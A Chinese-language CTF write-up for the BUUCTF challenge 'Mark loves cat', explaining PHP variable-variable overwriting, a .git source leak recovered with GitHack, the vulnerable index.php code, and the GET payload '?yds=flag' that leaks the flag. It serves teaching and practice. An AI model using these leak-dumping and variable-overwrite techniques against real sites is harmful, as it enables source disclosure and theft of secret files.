BUUCTF-[BJDCTF2020]Mark loves cat (变量覆盖)
考点:
1、.git泄露
2、$$
导致的变量覆盖
变量覆盖漏洞参考:CTF之php变量覆盖漏洞
jjjc
1、$$x
是可变变量,普通变量的值作为这个可变变量的变量名,等价于$($x)
参考:https://www.php.net/manual/zh/language.variables.variable.php
2、
foreach ($variable as $key => $value){
$$key = $value;
}
foreach是一条语句,as和=>是关键字
<?php
$flag=0;
foreach ($_GET as $x => $y) {
$$x=$y;
}
echo $flag;
$$
导致的变量变量覆盖常出现在foreach中,通过GET或POST获取键名,并将键名作为变量名,将键值赋给该变量,在url输入?flag=1覆盖了原来的$flag变量
3、exit(message)函数:输出一条信息,并退出当前脚本
解题:
1、用dirb命令扫描目录,发现存在.git泄露
2、用GitHack脚本获取源码:
python GitHack.py http://61cb2a6a-950e-42a3-b228-396efe9a4ebf.node3.buuoj.cn/.git/
3、代码审计
flag.php:
<?php
$flag = file_get_contents('/flag');#将flag文件的内容赋给`$flag`
index.php:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
#get的flag参数不等于flag
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
#2种都不能有flag参数
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
#post的flag参数绝对等于flag 或 get的flag参数绝对等于flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
第1条foreach语句,将POST的参数进行变量覆盖
第2条foreach语句,将GET的参数进行变量覆盖,有点区别是第1个的键值是$y
,第2个的键值是$$y
3个if利用一个就行了,利用exit($yds)
将原来的$flag
输出
foreach($_GET as $x => $y){
$$x = $$y;
}
GET:?yds=flag
$x
为yds,$y
为flag,得到$$x
为$yds
,$$y
为$flag
,$yds
=$flag
=flag{xxx},在第25行输出的$yds
就是$flag